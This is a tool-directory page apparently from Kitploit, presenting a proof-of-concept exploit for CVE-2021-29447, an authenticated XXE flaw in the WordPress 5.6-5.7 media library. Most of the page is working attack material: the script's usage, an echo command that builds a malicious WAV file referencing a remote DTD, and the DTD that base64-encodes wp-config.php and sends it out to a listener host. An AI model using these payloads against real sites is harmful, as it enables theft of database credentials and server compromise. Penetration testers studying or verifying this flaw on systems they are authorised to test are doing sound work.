Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-29447 — Proof-of-concept exploit for CVE-2021-29447: Authenticated XXE in WordPress 5.6-5.7 media library. Generates malicious WAV file and DTD to read arbitrary server files via out-of-band data exfiltration. | Kitploit
Tools/GitHubGitHub/g01d3nw01f/cve-2021-29447
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubg01d3nw01f/cve-2021-29447

CVE-2021-29447

Proof-of-concept exploit for CVE-2021-29447: Authenticated XXE in WordPress 5.6-5.7 media library. Generates malicious WAV file and DTD to read arbitrary server files via out-of-band data exfiltration.

View Repository
3 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-29447 WordPress 5.6-5.7 - Authenticated (Author+) XXE

https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

usage:

-l LHOST example: 127.0.0.1 -n NAME example: payload.wav -dn DTD_NAME example: evil.dtd -r READ example: ../wp-config.php

evil-wav-dtd-xxe.py: error: the following arguments are required: -l/--lhost, -n/--name, -dn/--dtd, -r/--read

run script example:

./evil-wav-dtd-xxe.py -l 127.0.0.1 -n payload.wav -dn evil.dtd -r "../wp-config.php"

root@kitploit:~
[*]Created: evil.dtd
-------------------------------------------------------------------------
-- below commands run in terminal directory: generate the .wav file   --
-------------------------------------------------------------------------
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://127.0.0.1/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

evil.dtd(auto generate)

root@kitploit:~
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://127.0.0.1/?p=%file;'>" >
Download Tool